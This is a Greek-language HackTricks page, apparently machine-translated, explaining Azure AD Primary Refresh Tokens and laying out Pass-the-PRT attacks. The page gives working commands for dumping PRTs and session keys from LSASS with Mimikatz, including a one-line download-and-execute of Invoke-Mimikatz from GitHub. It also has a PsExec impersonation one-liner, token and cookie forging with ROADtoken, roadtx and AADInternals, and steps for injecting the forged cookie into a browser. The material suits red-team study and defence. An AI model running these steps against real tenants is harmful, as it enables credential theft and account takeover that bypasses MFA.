Az - Pass the PRT

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Red Team του HackTricks AWS)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Τι είναι ένα PRT

Az - Primary Refresh Token (PRT)

Ελέγξτε αν έχετε ένα PRT

Dsregcmd.exe /status

Στην ενότητα Κατάσταση SSO, θα πρέπει να δείτε το AzureAdPrt να έχει τιμή YES.

Στην ίδια έξοδο μπορείτε επίσης να δείτε αν η συσκευή είναι ενταγμένη στο Azure (στο πεδίο AzureAdJoined):

Μπισκότο PRT

Το μπισκότο PRT ονομάζεται πραγματικά x-ms-RefreshTokenCredential και είναι ένα JSON Web Token (JWT). Ένα JWT περιέχει 3 μέρη, τη κεφαλίδα, το φορτίο και τη υπογραφή, διαχωρισμένα με ένα . και όλα κωδικοποιημένα σε url-safe base64. Ένα τυπικό μπισκότο PRT περιέχει την ακόλουθη κεφαλίδα και σώμα:

{
"alg": "HS256",
"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
}
{
"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
"is_primary": "true",
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
}

Το πραγματικό Κύριο Ανανεωτικό Διακριτικό (PRT) ενθυλακώνεται μέσα στο refresh_token, το οποίο κρυπτογραφείται με ένα κλειδί υπό τον έλεγχο του Azure AD, καθιστώντας τα περιεχόμενά του αδιαφανή και μη αποκρυπτογραφήσιμα για εμάς. Το πεδίο is_primary υποδηλώνει την ενθυλάκωση του κύριου ανανεωτικού διακριτικού μέσα σε αυτό το διακριτικό. Για να εξασφαλιστεί ότι το cookie παραμένει συνδεδεμένο με τη συγκεκριμένη συνεδρία σύνδεσης για την οποία ήταν προορισμένο, το request_nonce μεταδίδεται από τη σελίδα logon.microsoftonline.com.

Η διαδικασία LSASS θα στείλει στο TPM το πλαίσιο KDF, και το TPM θα χρησιμοποιήσει το κλειδί συνεδρίας (συλλέχθηκε όταν τη συσκευή εγγράφηκε στο AzureAD και αποθηκεύτηκε στο TPM) και το προηγούμενο πλαίσιο για να παράγει ένα κλειδί, και αυτό το παράγον κλειδί χρησιμοποιείται για να υπογράψει το cookie PRT (JWT).

Το πλαίσιο KDF είναι ένα μοναδικό δείγμα από το AzureAD και το PRT δημιουργώντας ένα JWT αναμειγνύοντας το με ένα πλαίσιο (τυχαία bytes).

Επομένως, ακόμη κι αν το PRT δεν μπορεί να εξαχθεί επειδή βρίσκεται μέσα στο TPM, είναι δυνατό να καταχραστείτε το LSASS για να ζητήσετε παράγωγα κλειδιά από νέα πλαίσια και να χρησιμοποιήσετε τα παραγόμενα κλειδιά για να υπογράψετε Cookies.

Σενάρια Κατάχρησης PRT

Ως κανονικός χρήστης είναι δυνατόν να ζητήσετε τη χρήση PRT ζητώντας δεδομένα SSO από το LSASS. Αυτό μπορεί να γίνει όπως οι εφαρμογές native που ζητούν διακριτικά από τον Διαχειριστή Λογαριασμών Web (token broker). Ο WAM περνά το αίτημα στο LSASS, το οποίο ζητά διακριτικά χρησιμοποιώντας υπογεγραμμένη δήλωση PRT. Ή μπορεί να γίνει με ροές βασισμένες σε πρόγραμμα περιήγησης (web) όπου ένα cookie PRT χρησιμοποιείται ως κεφαλίδα για την αυθεντικοποίηση αιτημάτων στις σελίδες σύνδεσης Azure AS.

Ως ΣΥΣΤΗΜΑ μπορείτε να κλέψετε το PRT αν δεν προστατεύεται από το TPM ή να αλληλεπιδράσετε με τα κλειδιά PRT στο LSASS χρησιμοποιώντας κρυπτογραφικές διεπαφές.

Παραδείγματα Επίθεσης Pass-the-PRT

Επίθεση - ROADtoken

Για περισσότερες πληροφορίες σχετικά με αυτόν τον τρόπο ελέγξτε αυτήν την ανάρτηση. Το ROADtoken θα εκτελέσει το BrowserCore.exe από τον σωστό κατάλογο και θα το χρησιμοποιήσει για να αποκτήσει ένα cookie PRT. Αυτό το cookie μπορεί στη συνέχεια να χρησιμοποιηθεί με τα ROADtools για αυθεντικοποίηση και απόκτηση μόνιμου ανανεωτικού διακριτικού.

Για να δημιουργήσετε ένα έγκυρο cookie PRT, το πρώτο πράγμα που χρειάζεστε είναι ένα μοναδικό δείγμα. Μπορείτε να το πάρετε με:

$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"

$Params = @{
"URI"     = $URL
"Method"  = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA

Ή χρησιμοποιώντας το roadrecon:

roadrecon auth prt-init

Τότε μπορείτε να χρησιμοποιήσετε το roadtoken για να λάβετε ένα νέο PRT (εκτελέστε το εργαλείο από ένα διεργασία του χρήστη για επίθεση):

.\ROADtoken.exe <nonce>
Όπως oneliner:
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}

Στη συνέχεια, μπορείτε να χρησιμοποιήσετε το δημιουργημένο cookie για να δημιουργήσετε τα αναγνωριστικά και να συνδεθείτε χρησιμοποιώντας το Azure AD Graph ή το Microsoft Graph:

# Generate
roadrecon auth --prt-cookie <prt_cookie>

# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>

Επίθεση - Χρησιμοποιώντας το roadrecon

Επίθεση - Χρησιμοποιώντας το AADInternals και ένα διαρρεύσαν PRT

Get-AADIntUserPRTToken λαμβάνει το PRT του χρήστη από τον υπολογιστή που είναι εγγεγραμμένος στο Azure AD ή στον υβριδικά εγγεγραμμένο στον υπολογιστή. Χρησιμοποιεί το BrowserCore.exe για να λάβει το PRT token.

# Get the PRToken
$prtToken = Get-AADIntUserPRTToken

# Get an access token for AAD Graph API and save to cache
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

Ή αν έχετε τις τιμές από το Mimikatz μπορείτε επίσης να χρησιμοποιήσετε το AADInternals για τη δημιουργία ενός τοκέν:

# Mimikat "PRT" value
$MimikatzPRT="MC5BWU..."

# Add padding
while($MimikatzPrt.Length % 4) {$MimikatzPrt += "="}

# Decode
$PRT=[text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# Mimikatz "Clear key" value
$MimikatzClearKey="37c5ecdfeab49139288d8e7b0732a5c43fac53d3d36ca5629babf4ba5f1562f0"

# Convert to Byte array and B64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzClearKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate PRTToken with Nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
$prtToken
## You can already use this token ac cookie in the browser

# Get access token from prtToken
$AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken

# Verify access and connect with Az. You can see account id in mimikatz prt output
Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>

Πηγαίνετε στο https://login.microsoftonline.com, διαγράψτε όλα τα cookies για το login.microsoftonline.com και εισάγετε ένα νέο cookie.

Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

Στη συνέχεια, πηγαίνετε στο https://portal.azure.com

Τα υπόλοιπα πρέπει να είναι τα προεπιλεγμένα. Βεβαιωθείτε ότι μπορείτε να ανανεώσετε τη σελίδα και το cookie δεν εξαφανίζεται, αν το κάνει, μπορεί να έχετε κάνει κάποιο λάθος και πρέπει να επαναλάβετε τη διαδικασία. Αν δεν εξαφανίζεται, τότε είστε εντάξει.

Επίθεση - Mimikatz

Βήματα

  1. Το PRT (Primary Refresh Token) εξάγεται από το LSASS (Local Security Authority Subsystem Service) και αποθηκεύεται για μετέπειτα χρήση.

  2. Στη συνέχεια εξάγεται το Session Key. Δεδομένου ότι αυτό το κλειδί εκδίδεται αρχικά και στη συνέχεια επανακρυπτογραφείται από την τοπική συσκευή, απαιτείται αποκρυπτογράφηση χρησιμοποιώντας ένα DPAPI masterkey. Λεπτομερείς πληροφορίες σχετικά με το DPAPI (Data Protection API) μπορούν να βρεθούν σε αυτούς τους πόρους: HackTricks και για κατανόηση της εφαρμογής του, ανατρέξτε στην επίθεση Pass-the-cookie.

  3. Μετά την αποκρυπτογράφηση του Session Key, λαμβάνονται το παράγωγο κλειδί και ο πλαίσιο για το PRT. Αυτά είναι κρίσιμα για τη δημιουργία του PRT cookie. Συγκεκριμένα, το παράγωγο κλειδί χρησιμοποιείται για την υπογραφή του JWT (JSON Web Token) που αποτελεί το cookie. Μια λεπτομερής εξήγηση αυτής της διαδικασίας παρέχεται από τον Dirk-jan, προσβάσιμη εδώ.

Σημειώστε ότι αν το PRT βρίσκεται μέσα στο TPM και όχι μέσα στο lsass το mimikatz δεν θα μπορέσει να το εξάγει. Ωστόσο, θα είναι δυνατό να ληφθεί ένα κλειδί από ένα παράγωγο κλειδί από ένα πλαίσιο από το TPM και να χρησιμοποιηθεί για τη υπογραφή ενός cookie (ελέγξτε την επιλογή 3).

Μπορείτε να χρησιμοποιήσετε το mimikatz για να εξάγετε το PRT:

mimikatz.exe
Privilege::debug
Sekurlsa::cloudap

# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'

(Εικόνες από https://blog.netwrix.com/2023/05/13/pass-the-prt-overview)

Αντιγράψτε το τμήμα που επισημαίνεται ως Prt και αποθηκεύστε το. Εξάγετε επίσης το κλειδί συνεδρίας (το KeyValue του πεδίου ProofOfPossesionKey), το οποίο μπορείτε να δείτε υπογραμμισμένο παρακάτω. Αυτό είναι κρυπτογραφημένο και θα χρειαστούμε τα κύρια κλειδιά DPAPI μας για να το αποκρυπτογραφήσουμε.

Αν δεν βλέπετε καθόλου δεδομένα PRT, μπορεί να οφείλεται στο γεγονός ότι δεν έχετε κανένα PRT επειδή η συσκευή σας δεν είναι εγγεγραμμένη στο Azure AD ή επειδή χρησιμοποιείτε παλαιότερη έκδοση των Windows 10.

Για να αποκρυπτογραφήσετε το κλειδί συνεδρίας, πρέπει να αυξήσετε τα προνόμιά σας σε SYSTEM για να εκτελέσετε υπό το πλαίσιο του υπολογιστή και να μπορέσετε να χρησιμοποιήσετε το κύριο κλειδί DPAPI για να το αποκρυπτογραφήσετε. Μπορείτε να χρησιμοποιήσετε τις παρακάτω εντολές για να το κάνετε:

token::elevate
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect

Επιλογή 1 - Πλήρες Mimikatz

  • Τώρα θέλετε να αντιγράψετε και τις δύο τιμές του Context:

  • Και την τιμή του παράγωγου κλειδιού:

  • Τέλος, μπορείτε να χρησιμοποιήσετε όλες αυτές τις πληροφορίες για τη δημιουργία cookies PRT:

Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
  • Πηγαίνετε στο https://login.microsoftonline.com, διαγράψτε όλα τα cookies για το login.microsoftonline.com και εισάγετε ένα νέο cookie.

Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

Τα υπόλοιπα πρέπει να είναι τα προεπιλεγμένα. Βεβαιωθείτε ότι μπορείτε να ανανεώσετε τη σελίδα και το cookie δεν εξαφανίζεται, αν το κάνει, μπορεί να έχετε κάνει κάποιο λάθος και θα πρέπει να επαναλάβετε τη διαδικασία. Αν δεν εξαφανίζεται, τότε είστε εντάξει.

Επιλογή 2 - roadrecon χρησιμοποιώντας PRT

  • Ανανεώστε πρώτα το PRT, το οποίο θα αποθηκευτεί στο roadtx.prt:

roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
  • Τώρα μπορούμε να ζητήσουμε τα tokens χρησιμοποιώντας το περιηγητή διαδρομής με roadtx browserprtauth. Αν χρησιμοποιήσουμε την εντολή roadtx describe, βλέπουμε ότι το access token περιλαμβάνει μια δήλωση MFA επειδή το PRT που χρησιμοποίησα σε αυτήν την περίπτωση είχε επίσης μια δήλωση MFA.

roadtx browserprtauth
roadtx describe < .roadtools_auth

Επιλογή 3 - roadrecon χρησιμοποιώντας παράγωγα κλειδιά

Έχοντας το πλαίσιο και το παράγωγο κλειδί που ανακτήθηκε από το mimikatz, είναι δυνατόν να χρησιμοποιηθεί το roadrecon για τη δημιουργία ενός νέου υπογεγραμμένου cookie με:

roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>

Αναφορές

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Last updated